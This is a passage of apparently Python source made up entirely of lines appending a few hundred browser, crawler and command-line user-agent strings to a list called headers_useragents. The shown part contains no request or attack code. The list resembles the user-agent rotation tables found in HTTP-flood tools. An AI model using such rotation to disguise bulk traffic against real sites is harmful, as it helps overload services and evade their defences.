  2936.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2937.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2938.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2939.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2940.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2941.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2942.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2943.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2944.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2945.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2946.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2947.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2948.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2949.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2950.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2951.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2952.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2953.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2954.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2955.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2956.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2957.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2958.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2959.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2960.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2961.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2962.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2963.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2964.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2965.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2966.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2967.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2968.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2969.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2970.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2971.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2972.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2973.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2974.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2975.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2976.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2977.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2978.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2979.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2980.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2981.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2982.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2983.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2984.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2985.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2986.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2987.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2988.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2989.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2990.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2991.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2992.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2993.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2994.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2995.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2996.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2997.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2998.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2999.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  3000.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3001.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)')
  3002.     headers_useragents.append('Links (2.1pre15; FreeBSD 5.4-STABLE i386; 158x58)')
  3003.     headers_useragents.append('Wget/1.8.2')
  3004.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0')
  3005.     headers_useragents.append('Mediapartners-Google/2.1')
  3006.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 Firebird/0.7')
  3007.     headers_useragents.append('Mozilla/4.04 [en] (WinNT; I)')
  3008.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060205 Galeon/2.0.0 (Debian package 2.0.0-2)')
  3009.     headers_useragents.append('lwp-trivial/1.41')
  3010.     headers_useragents.append('NetBSD-ftp/20031210')
  3011.     headers_useragents.append('Dillo/0.8.5-i18n-misc')
  3012.     headers_useragents.append('Links (2.1pre20; NetBSD 2.1_STABLE i386; 145x54)')
  3013.     headers_useragents.append('Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  3014.     headers_useragents.append('Lynx/2.8.5rel.3 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  3015.     headers_useragents.append('Links (2.1pre19; NetBSD 2.1_STABLE sparc64; 145x54)')
  3016.     headers_useragents.append('Lynx/2.8.6dev.15 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  3017.     headers_useragents.append('Links (2.1pre14; IRIX64 6.5 IP27; 145x54)')
  3018.     headers_useragents.append('Wget/1.10.1')
  3019.     headers_useragents.append('ELinks/0.10.5 (textmode; FreeBSD 4.11-STABLE i386; 80x22-2)')
  3020.     headers_useragents.append('Links (2.1pre20; FreeBSD 4.11-STABLE i386; 80x22)')
  3021.     headers_useragents.append('Lynx/2.8.5rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d-p1')
  3022.     headers_useragents.append('Opera/8.52 (X11; Linux i386; U; de)')
  3023.     headers_useragents.append('Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.0.1) Gecko/20060310 Firefox/1.5.0.1')
  3024.     headers_useragents.append('Mozilla/5.0 (X11; U; IRIX64 IP27; en-US; rv:1.4) Gecko/20030711')
  3025.     headers_useragents.append('Mozilla/4.8 [en] (X11; U; IRIX64 6.5 IP27)')
  3026.     headers_useragents.append('Mozilla/4.76 [en] (X11; U; SunOS 5.8 sun4m)')
  3027.     headers_useragents.append('Opera/5.0 (SunOS 5.8 sun4m; U) [en]')
  3028.     headers_useragents.append('Links (2.1pre15; SunOS 5.8 sun4m; 80x24)')
  3029.     headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d')
  3030.     headers_useragents.append('Wget/1.8.1')
  3031.     headers_useragents.append('Wget/1.9.1')
  3032.     headers_useragents.append('tnftp/20050625')
  3033.     headers_useragents.append('Links (1.00pre12; Linux 2.6.14.2.20051115 i686; 80x24) (Debian pkg 0.99+1.00pre12-1)')
  3034.     headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.0.16')
  3035.     headers_useragents.append('Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7) Gecko/20051122')
  3036.     headers_useragents.append('Wget/1.7')
  3037.     headers_useragents.append('Lynx/2.8.2rel.1 libwww-FM/2.14')
  3038.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; de) Opera 8.53')
  3039.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)')
  3040.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3041.     headers_useragents.append('Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7e')
  3042.     headers_useragents.append('Links (2.1pre20; SunOS 5.10 sun4u; 80x22)')
  3043.     headers_useragents.append('Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7i')
  3044.     headers_useragents.append('Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20060202 Firefox/1.5')
  3045.     headers_useragents.append('Opera/8.51 (X11; Linux i386; U; de)')
  3046.     headers_useragents.append('Emacs-W3/4.0pre.46 URL/p4.0pre.46 (i386--freebsd; X11)')
  3047.     headers_useragents.append('Links (0.96; OpenBSD 3.0 sparc)')
  3048.     headers_useragents.append('Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6c')
  3049.     headers_useragents.append('Lynx/2.8.3rel.1 libwww-FM/2.14')
  3050.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3051.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)')
  3052.     headers_useragents.append('libwww-perl/5.79')
  3053.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53')
  3054.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7')
  3055.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)')
  3056.     headers_useragents.append('msnbot/1.0 (+http://search.msn.com/msnbot.htm)')
  3057.     headers_useragents.append('Googlebot/2.1 (+http://www.google.com/bot.html)')
  3058.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3059.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051008 Firefox/1.0.7')
  3060.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51')
  3061.     headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.3 (like Gecko)')
  3062.     headers_useragents.append('Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7c')
  3063.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)')
  3064.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  3065.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  3066.     headers_useragents.append('Mozilla/4.8 [en] (Windows NT 5.1; U)')
  3067.     headers_useragents.append('Opera/8.51 (Windows NT 5.1; U; en)')
  3068.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)')
  3069.     headers_useragents.append('Opera/8.51 (Windows NT 5.1; U; en;VWP-online.de)')
  3070.     headers_useragents.append('sproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; crawler@sproose.com)')
  3071.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0')
  3072.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0,gzip(gfe) (via translate.google.com)')
  3073.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  3074.     headers_useragents.append('BrowserEmulator/0.9 see http://dejavu.org')
  3075.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  3076.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)')
  3077.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508')
  3078.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko)')
  3079.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.4) Gecko/20030624')
  3080.     headers_useragents.append('iCCrawler (http://www.iccenter.net/bot.htm)')
  3081.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2')
  3082.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)')
  3083.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20051013 Debian/1.7.12-1ubuntu1')
  3084.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5')
  3085.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)')
  3086.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3')
  3087.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.50')
  3088.     headers_useragents.append('Mozilla/3.0 (x86 [de] Windows NT 5.0; Sun)')
  3089.     headers_useragents.append('Java/1.4.1_04')
  3090.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111 Firefox/1.5')
  3091.     headers_useragents.append('msnbot/0.9 (+http://search.msn.com/msnbot.htm)')
  3092.     headers_useragents.append('NutchCVS/0.8-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)')
  3093.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  3094.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.53')
  3095.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)')
  3096.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6')
  3097.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)')
  3098.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0)')
  3099.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC)')
  3100.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)')
  3101.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)')
  3102.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  3103.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.1.4322)')
  3104.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)')
  3105.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98)')
  3106.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)')
  3107.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)')
  3108.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)')
  3109.     headers_useragents.append('Opera/8.53 (Windows NT 5.1; U; en)')
  3110.     headers_useragents.append('Opera/8.01 (Windows NT 5.0; U; de)')
  3111.     headers_useragents.append('Opera/8.54 (Windows NT 5.1; U; de)')
  3112.     headers_useragents.append('Opera/8.53 (Windows NT 5.0; U; en)')
  3113.     headers_useragents.append('Opera/8.01 (Windows NT 5.1; U; de)')
  3114.     headers_useragents.append('Opera/8.50 (Windows NT 5.1; U; de)')
  3115.     headers_useragents.append('Mozilla/4.0 (compatible- MSIE 6.0- Windows NT 5.1- SV1- .NET CLR 1.1.4322')
  3116.     headers_useragents.append('Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt)')
  3117.     headers_useragents.append('Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)')
  3118.     headers_useragents.append('Mozilla/4.0 (compatible; AvantGo 6.0; FreeBSD)')
  3119.     headers_useragents.append('Mozilla/4.5 [de] (Macintosh; I; PPC)')
  3120.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  3121.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322; MSN 9.0;MSN 9.1; MSNbMSNI; MSNmen-us; MSNcIA; MPLUS)')
  3122.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {59FC8AE0-2D88-C929-DA8D-B559D01826E7}; .NET CLR 1.1.4322)')
  3123.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; snprtz|S04741035500914#914|isdn; .NET CLR 1.1.4322)')
  3124.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EnergyPlugIn; dial)')
  3125.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; .NET CLR 1.1.4322)')
  3126.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; sbcydsl 3.12; YComp 5.0.0.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b)')
  3127.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; .NET CLR 1.0.3705)')
  3128.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)')
  3129.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705)')
  3130.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Ringo; .NET CLR 1.1.4322)')
  3131.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b)')
  3132.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0)')
  3133.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; FunWebProducts)')
  3134.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; BUILDWARE 1.6; .NET CLR 1.1.4322)')
  3135.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.5)')
  3136.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; (R1 1.5)')
  3137.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; it)')
  3138.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1)')
  3139.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)')
  3140.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en)')
  3141.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)')
  3142.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312469)')
  3143.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727)')
  3144.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; FDM)')
  3145.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.2)')
  3146.     headers_useragents.append('Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.12)')
  3147.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1)')
  3148.     headers_useragents.append('Mozilla/5.0 (compatible; Konqueror/3.4; Linux 2.6.14-kanotix-9; X11)')
  3149.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.10)')
  3150.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.12)')
  3151.     headers_useragents.append('Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.1)')
  3152.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.1)')
  3153.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.0.1)')
  3154.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12)')
  3155.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2)')
  3156.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1)')
  3157.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7)')
  3158.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6)')
  3159.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8)')
  3160.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.8)')
  3161.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10)')
  3162.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.10)')
  3163.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.1)')
  3164.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us)')
  3165.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8)')
  3166.     headers_useragents.append('Mozilla/5.0 (Windows; U; Win 9x 4.90; de; rv:1.8.0.1)')
  3167.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12)')
  3168.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr)')
  3169.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.8)')
